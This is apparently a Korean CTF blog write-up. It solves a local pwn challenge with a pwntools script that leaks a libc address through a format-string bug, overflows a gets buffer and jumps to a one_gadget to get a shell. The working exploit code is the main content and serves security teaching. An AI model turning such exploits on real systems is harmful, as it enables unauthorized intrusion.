2020. 8. 25. 19:27, CTF
이전과 동일한 소스코드이다.
근데 컴파일 옵션이 다르다. NX를 꺼주는 옵션이 사라졌다.
gcc -o test code.c -fno-stack-protector -z norelro
fsb로 릭을 하고 이후 gest(buf)에서 원가젯으로 이동하면 되겠다.
from pwn import *
#r = remote("", )
r = process("./test")
#gdb.attach(r)
#e = ELF("")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# one_gadget : 0x45216 0x4526a 0xf02a4 0xf1147
r.sendlineafter(": ", "%2$p")
r.recvuntil(", ")
leak = int(r.recv(14), 16)
base = leak - 0x3c6780
onegadget = base + 0x45226 # 0x45226 0x4527a 0xf0364 0xf1207
payload = "A"*0x108
payload += p64(onegadget)
print hex(base)
r.sendlineafter(": ", payload)
r.interactive()
0x108 오프셋까지 A로 덮어주고 onegadget 주소로 바로 이동을 했다.
쉘이 잘 따지는 것을 확인할 수 있다.
'CTF' 카테고리의 다른 글
BaskinRobins31 풀이 (0) | 2020.09.01 |
---|---|
간단한 바이너리 익스 + NX + ASLR (0) | 2020.08.27 |
Dream hack - rev-basic-2 (0) | 2020.08.07 |
Hacking Championship Junior 문제 2개 풀이 (0) | 2019.10.21 |
Layer7 CTF Write up (0) | 2019.10.07 |
Comments, Trackbacks